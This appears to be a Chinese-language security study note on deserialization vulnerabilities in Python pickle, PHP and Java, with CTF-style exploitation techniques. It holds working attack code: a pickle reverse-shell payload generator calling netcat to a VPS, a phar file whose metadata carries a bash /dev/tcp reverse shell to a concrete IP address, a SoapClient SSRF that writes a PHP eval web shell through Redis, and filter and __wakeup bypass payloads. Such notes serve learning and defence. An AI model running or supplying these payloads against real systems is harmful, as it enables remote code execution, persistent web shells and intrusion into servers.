原理

序列化: 把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程(如 JSON、XML、二进制流等)

反序列化: 把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程,也可以说就是将压缩格式化的对象还原成初始状态的过程

注意

  1. 反序列化的时候一定要保证在当前的作用域环境下有该类存在
  2. 在反序列化攻击的时候是依托类属性进行攻击,能控制的只有类的属性。在攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动发序列化攻击

python 反序列化漏洞

pickle 模块使用 pickle.dumppickle.dumps() 函数序列化对象;使用 pickle.load()pickle.loads() 函数反序列化对象

__reduce__ 方法提供了如何序列化对象及如何反序列化重建对象的详细信息。具体来说,它返回一个元组,其中包含足够的信息来重建对象。在进行序列化或反序列化时,如果这个对象定义了 __reduce__ 方法,pickle 则模块会调用该方法

利用 pickle 和 __reduce__ 生成执行命令的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
import os

# 定义一个执行命令的类
class exec:
def __init__(self,cmd):
self.cmd=cmd

# __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象,这个对象会在创建对象时被调用,
# 第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试import
def __reduce__(self):
return (os.system,(self.cmd,))
# os.system()会在子进程中执行系统命令,并在终端或命令行输出当前用户名
# os.system() 的返回值是命令执行后的退出状态码。如果命令成功执行并正常退出,通常返回值为 0
# 实例化对象
res=exec('whoami')
# 生成序列化数据
payload=pickle.dumps(res)
print("Payload:",payload)

上面代码运行后会生成执行 whoami 命令的 payload:

1
Payload: b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

pickle 模块对该 payload 进行反序列时,会造成命令执行

1
2
cookie=b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
new_cookie = pickle.loads(cookie)

反弹 shell 脚本

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class cmd():
def __reduce__(self):
return (eval,("__import__('os').popen('nc [vps-ip] [vps-port] -e /bin/sh').read()",))
## popen 也可以替换为 system
c = cmd()
c = pickle.dumps(c)
print(base64.b64encode(c))

手写 opcode

待。。。

PHP 反序列化漏洞

PHP中通常使用 serialize 函数进行序列化;使用 unserialize 函数进行反序列化

serialize 函数输出格式:

  • NULL : N
  • Boolean : b:0 或 b:1(false 或 true)
  • Integer : i:数值 (i:123)
  • Float : d:数值 (d:1.23)
  • String : s:长度:”值” (s:4:”test”)
  • Object : O:类名长度:类名:字段数:字段 (O:8:”ClassName”:1:{s:3:”key”;s:5:”value”;} )

如对下面类 A 进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class A{
var $test = "Hello";
function __construct(){
print "<h1>ABCD</h1>";
}
}

// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
?>

得到结果:

1
O:1:"A":1:{s:4:"test";s:5:"Hello";}

PHP 中序列化后的数据并没有像 Python 一样包含函数 __constructprint 的信息,而仅仅是类名成员变量的信息。因此,在 unserialize 函数的参数可控的情况下,还需要代码中包含魔术方法才能利用反序列化漏洞

注:在序列化 private 声明的字段时候,类名和字段名前面都会加上 \0 的前缀,字符串长度也包括所加前缀的长度。这个在复制的时候是看不到的,需要手动改为 %00

注:在序列化 protected 声明的字段的时候,会出现乱码,可以删除乱码将受保护的对象转换为公共对象,如 s:5:" * op";i:2; 更改为 s:2:"pop";i:2;

注:PHP7 构造利用链时,可以将对象中的 privateprotected 属性的变量都更改为 public 后再进行赋值构造,不会影响正常反序列化 ,这和上一条注意事项原理一致,即改变成员变量属性不会影响正常的序列化和反序列化进程

PHP 魔术方法

  • __construct():当对象创建时自动调用
  • __wakeup()unserialize() 时先会调用这个函数,执行后不会执行 __construct() 函数
  • __unserialize():在对象被反序列化时自动执行,该方法接受一个参数,即反序列化时传入的数据数组,其中包含了序列化的属性和值。(如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略)
  • __destruct():当对象被销毁时会自动调用
  • __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用。例如执行 echo new test(); 其就会自动调用对象中的 __toStrong() 方法;。在PHP5.2以前,__toStrong() 函数只有在 echoprint 时才生效;PHP5.2 以后则可以在任何字符串环境生效(例如通过 printf,使用 %s 修饰符),但不能用于非字符串环境(如使用 %d修饰符)。自 PHP 5.2.0 起,如果将一个未定义 __toString() 方法的对象转换为字符串,会产生
    E_RECOVERABLE_ERROR 级别的错误。此外,还有如下情况会触发此函数:
    • 反序列化对象与字符串连接时
    • 反序列化对象参与格式化字符串时
    • 反序列化对象与字符串进行 == 比较时
    • 反序列化对象参与格式化SQL语句,绑定参数时
    • 反序列化对象在经过php字符串函数,如 strlen()addslashes()
    • in_array() 方法中,第一个参数是反序列化对象,第二个参数的数组中有 toString 返回的字符串的时候 toString 会被调用
    • 反序列化的对象作为 class_exists() 的参数的时候
  • __get():当从不可访问或不存在的属性读取数据。例如从对象外部访问由 privateprotect 修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名
  • __call($function, $parameters):在对象中调用一个不可访问或不存在的方法时调用,其中,方法名会作为 __call() 的第一个参数传入($function),而不存在方法的参数会被装进数组中作为第二个参数传入($parameters
  • __invoke():当一个对象被当作函数调用时触发
  • __unset():销毁一个不存在的属性时(如 unset($this->handle->log)),会自动调用
  • __isset():当对不可访问属性调用 isset()empty() 时调用
  • __clone(),当对象复制完成时调用

PHP Session 反序列化

PHP Session 配置

在 php.ini 中以下几个配置项与 Session 存储配置有关:

  • session.save_path="" - session 存储路径

  • session.save_handler=files - session 存储方式

  • session.auto_start=0 - 是否自动启动 session

  • session.serialize_handler - session 序列化引擎,该配置项有以下几个选项

php(默认引擎):存储格式为 “键名|序列化的值”

1
name|s:4:"test";

php_binary:存储格式为 “键名长度的 ASCII 字符+键名+序列化的值”

1
2
[EOT]names:4:"test";
# name 长度为 4,4在 ASCII 表中对应 EOT,EOT 字符无法正常显示

php_serialize:存储格式为 “序列化的值”

1
a:1:{s:4:"name";s:4:"test";}

Session 反序列化漏洞

如果 PHP 在序列化存储 $_SESSION 使用的引擎和反序列化使用的引擎不一致,会导致数据无法正确的反序列化

1
ini_set('session.serialize_handler', 'php_serialize');

例如,如果使用 php_serialize 引擎存储下面的 $_SESSION

1
$_SESSION['name'] = '|O:1:"A":1:{s:4:"name";s:5:"admin";}';

则最终存储在 session 文件中的内容为:

1
a:1:{s:4:"name";s:36:"|O:1:"A":1:{s:4:"name";s:5:"admin";}";}

而如果其他页面使用不同的引擎,则会导致错误的解析

如使用 php 引擎来读取上面的 session 内容,由于 php 引擎会以 | 作为 key 和 value 的分割符,那么会将 a:1:{s:4:"name";s:36:" 作为 session 的 key,将 O:1:"A":1:{s:4:"name";s:5:"admin";}";} 作为 value,然后反序列化得到 A 这个类

PHP 反序列化绕过

绕过正则

preg_match('/^O:\d+/') 匹配序列化字符串是否是对象字符串开头

  • + 号绕过:'O:4' -> 'O:+4'
  • 将要序列化的对象放在数组中绕过:serialize(array($a))

preg_match('/ctfshow/', $cs 匹配类名

  • 大小写类名绕过:CtFShOw

绕过 __wakeup 方法

反序列化的时候会首先执行 __wakeup 方法,但有时候需要绕过 __wakeup 方法,直接执行 __destruct 方法,因此需要进行绕过

利用条件:php<7.0.3

属性个数大于实际属性个数的时候,会直接执行 __destruct 方法,如下所示:

原语句有两个属性

1
select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

将表示属性个数的数字加一

1
select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

对象属性引用另一个对象的属性

有一种情况,__wakeup 无法绕过(如 php 版本为 7.4.5),且该函数会改变我们需要利用的目标属性值(下例中的 value),但我们又要让目标属性值可控

此时如果有另一个对象中的属性值(下例中的 username)可控,我们便可以让这个目标属性的指针指向另一个对象的属性

方法如下:

如下所示,我们需要让 value 的指针指向 username 属性上

1
2
3
4
5
6
7
8
<?php
class User{
public $username;
}
class Test
{
public $value;
}

则可以构建如下代码进行引用:

1
2
3
4
5
6
$user = new User()
$test = new Test();

$user->aaa = $test;
$test->value = &$user->username;
echo serialize($user);

这里的 $b->aaa=$a; 是为了让 value 成功指向 username

只有这样,value 的值才是个引用值,结果如下所示 (R:2)

1
O:4:"User":2:{s:8:"username";s:5:". ./*";s:3:"aaa";O:4:"Test":1:{s:5:"value";R:2;}}

不加这一句的话指向会不成功, value 序列化后不会是引用类型

phar 反序列化

利用条件:

  1. phar文件要能够上传到服务器端
  2. 可用的魔术方法
  3. 文件操作函数可控

phar 文件结构

phar 是 PHP 的一个归档文件格式,可以用于打包多个文件,类似于 zip 文件。PHP 内置了处理相关操作的 Phar 类,php.ini 中的 phar.readonly 配置项控制是否允许创建 phar 文件

phar 文件结构主要由四部分组成:

  1. Phar file stub (头部标识)

格式为 xxx<?php xxx; __HALT_COMPILER();?>

前面 xxx 内容不限,但必须以 __HALT_COMPILER();?> 来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件

  1. Phar manifest file entry definition (内容清单)

phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分

这部分还会以序列化的形式存储用户自定义的 meta-data,这是上述攻击手法最核心的地方

  1. the file contents

被压缩的文件内容

  1. (optional) a signature for verifying Phar integrity (phar file format only)

文件签名,在文件末尾

phar 测试用例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Flag{
public $cmd;
}
$a =new Flag();
$a->cmd = "bash -c 'sh -i &>/dev/tcp/142.171.76.223/7777 0>&1'"; # 反弹shell
$phar = new Phar('1.phar'); # 生成的phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); #
$phar-> setMetadata($a); # 写入反序列化的内容
$phar -> addFromString('1.txt','1'); # 添加压缩的内容
$phar->stopBuffering(); # 计算标签
rename("1.phar", "phar.jpg");
?>

上述代码会生成 phar.phar 文件,其中 meta-data 以序列化的形式存储

phar 漏洞利用

php 大部门的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 反序列化,包括以下函数:

phar 反序列化测试用例:

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo '_destruct() called!';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
//unlink($filename);

绕过方式

  1. 限制 phar 字符不能出现在前面,可以使用 compress.bzip2://compress.zlib:// 等绕过

    1
    2
    3
    compress.bzip://phar:///test.phar/test.txt
    compress.bzip2://phar:///test.phar/test.txt
    compress.zlib://phar:///home/sx/test.phar/test.txt
  2. 利用 filter 过滤器

    1
    php://filter/read=convert.base64-encode/resource=phar://phar.phar
  3. GIF 格式验证可以通过在文件头部添加 GIF89a 绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
  4. 过滤 __HALT_COMPILER();

  • 将 phar 文件进行 gzip 压缩 ,使用压缩后 phar 文件同样也能反序列化 (常用),linux 下使用 gzip 命令进行压缩

    1
    gzip phar.phar
  • 将 phar 的内容写进压缩包注释中,也同样能够反序列化成功,压缩为 zip 也会绕过

    1
    2
    3
    4
    5
    6
    7
    $phar_file = serialize($exp);
    echo $phar_file;
    $zip = new ZipArchive();
    $res = $zip->open('1.zip',ZipArchive::CREATE);
    $zip->addFromString('crispr.txt', 'file content goes here');
    $zip->setArchiveComment($phar_file);
    $zip->close();
  1. 修改 phar 签名

某些情况需要修改 phar 文件中的内容而达到某些需求(比如要绕过 __wakeup 要修改属性数量),而修改后的 phar 文件由于文件发生改变,所以须要修改签名才能正常使用,phar 支持签名的格式有 MD5、SHA1、SHA256、SHA512 和 OPENSSL

字节长度 描述
可变的 实际的签名长度,SHA1 签名占用 20 字节,MD5 签名占用 16 字节,SHA256 签名占用 32 字节,而 SHA512 签名为 64 字节,OPENSSL 格式的签名长度取决于私钥的大小
4 字节 签名标志。0x0001 用于MD5,0x0002 用于SHA1,0x0003 代表了 SHA256,0x0004 表示为 SHA512,0x0010 用于定义 OPENSSL
4 字节 GBMB 末尾标识

修改签名测试用例:

1
2
3
4
5
6
7
8
def getPhar():
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
s = s.replace(b'3:{', b'4:{')# 绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
return gzip.compress(newf)# 进行gzip压缩

垃圾回收机制

1
throw new Exception("Nope");

在 php 中,当对象被销毁时会自动调用 __destruct() 方法,但如果程序报错或者抛出异常,就不会触发该魔术方法

__destruct() 魔术方法的触发条件就是一个类被销毁时触发,而 throw 函数就是回收了自动销毁的类,导致 __destruct 检测不到有东西销毁,从而也就导致无法触发 __destruct 函数

绕过 throw 异常方法有以下三个:

  • 数组对象设为 NULL
  • 去掉序列化最后一个中括号
  • 修改属性数字

数组对象设为 NULL

将对象放在数组中一起进行序列化,如下所示:

1
2
3
$s=new Start(); //原序列化对象
$a=array($s,0);
echo serialize($a);

得到结果

1
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}

然后将第二个元素的键值改为 0

1
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}

因为当反序列化的时候第一层接受到的是一个包含两个元素的数组,该数组第一个元素是一个对象,其类名为 Start,第二个元素是一个整数 0。把第二个 i 后面的值改为 0 后,使得数组对象为空。异常在这一层就抛出来,而已经序列化成功的 $s(pop链)正常执行

SoapClient 原生类利用

SOAP 协议本质上其实还是 HTTP 协议,只是改变了传输过程中的内容为 XML 形式

SoapClient 的魔术方法 __call,当访问类中一个不存在的方法时触发,该方法就会被传递给 __call 方法进行处理,并将其转化为一条SOAP 请求发送给 Web 服务

利用 SoapClient 打 redis 如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311"; //redis 密码
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename shell.php";
$poc3="SAVE";

// `location` 为 SOAP 请求将被发送到的服务器地址,`uri` 为服务的命名空间
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');

$b = new SoapClient(null, $a);

$c = serialize($b);
$c = str_replace('^^',"\r\n",$c);
echo $c;
?>

我们使用 nc -l 6379 监听 Soap 发送的消息格式如下图所示,可以看到 Soap 传输内容为 XML 格式

此外,也可以伪造 HTTP 的 POST 请求,添加自定义的请求头部(如 X-Forwarded-ForContent-Type),并添加 post 数据

注意,添加自定义 post 数据需要更改 Content-Length 的值

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';

// 伪造 User-Agent 头
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Chrome^^X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.
'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "dwzzzzzzzzzz"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

同样,监听 Soap 发送的消息,如下图:

上图相当于伪造了一个 HTTP 的 POST 请求。其中,红框为有效部分,因为 Content-Length 设置了 13,超出13个字符以外的都会被服务器丢弃,所有后面的部分影响不大

php 反序列化字符串逃逸

PHP 反序列化时,会有以下几种特点:

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。

例如下图超出的 abcd 部分并不会被反序列化成功:

当序列化的长度不对应的时候则会出现报错

可以反序列化类中不存在的元素

1
2
3
4
5
6
7
8
<?php
class user{
public $name = 'purplet';
public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>

字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少

字符变多

当存在一个过滤函数,过滤序列化后的字符串时会让字符串中的字符变多,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

那么可以计算需要构造的代码长度构造合适的 payload,进行逃逸

1
key = badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:8:"cat /fl*";}

Java 反序列化漏洞

Java 中通常使用 Java.io.ObjectOutputStream 类中的 writeObject 方法进行序列化;使用 Java.io.ObjectInputStream 类中的 readObject 方法进行反序列化

Java 序列化数据格式始终以 0xAC ED 00 05 开头,前两个字节是固定的,后两个字节为版本号

一个类的对象要想序列化,必须满足两个条件:

  • 该类必须实现 java.io.Serializable 接口
  • 该类的所有属性必须是可序列化的

如下类所示:

1
2
3
4
5
6
7
8
9
10
11
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}

现实环境中需要去寻找 POP 链

Java 反射机制

Java 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法;这种动态获取的信息以及动态调用对象的方法的功能称为 Java 语言的反射机制

获取反射中的 Class 对象的三种方法:

  1. clazz = Class.forName("com.meituan.data.springbootdemo.User") : 通过类的全限定名获取 Class 对象
  2. clazz = user.getClass() :
  3. clazz = User.class : 只适合在编译前就知道操作的 Class

判断一个 Class 对象是否是某个类的实例的两种方法:

  1. isInstance = user instanceof User
  2. isInstance = clazz.isInstance(user)

通过反射创建实例对象的两种方法:

  1. Class 对象的 newInstance 方法
    1
    2
    Class clz = Apple.class;
    Apple apple = (Apple)clz.newInstance();
  2. Constructor 对象的 newInstance 方法
    1
    2
    3
    Class clz = Apple.class;
    Constructor constructor = clz.getConstructor();
    Apple apple = (Apple)constructor.newInstance();

通过反射获取类的属性:

  1. 通过 Class 对象的 getFields() 方法可以获取 Class 类的属性,但无法获取私有属性
    1
    2
    3
    4
    5
    Class clz = Apple.class;
    Field[] fields = clz.getFields();
    for (Field field : fields) {
    System.out.println(field.getName());
    }
  2. 使用 Class 对象的 getDeclaredFields() 方法则可以获取包括私有属性在内的所有属性
    1
    2
    3
    4
    5
    Class clz = Apple.class;
    Field[] fields = clz.getDeclaredFields();
    for (Field field : fields) {
    System.out.println(field.getName());
    }

通过反射获取类的方法并调用该方法(invoke):

1
Method method = clazz.getMethod("getAge",null);  System.out.println(method.invoke(user));

FastJSON 反序列化漏洞

。。。

参考

[1]. 反序列化漏洞及各种绕过姿势

[2]. 常见的Web漏洞——反序列化漏洞

[3]. pickle 反序列化初探

[4]. 大白话说Java反射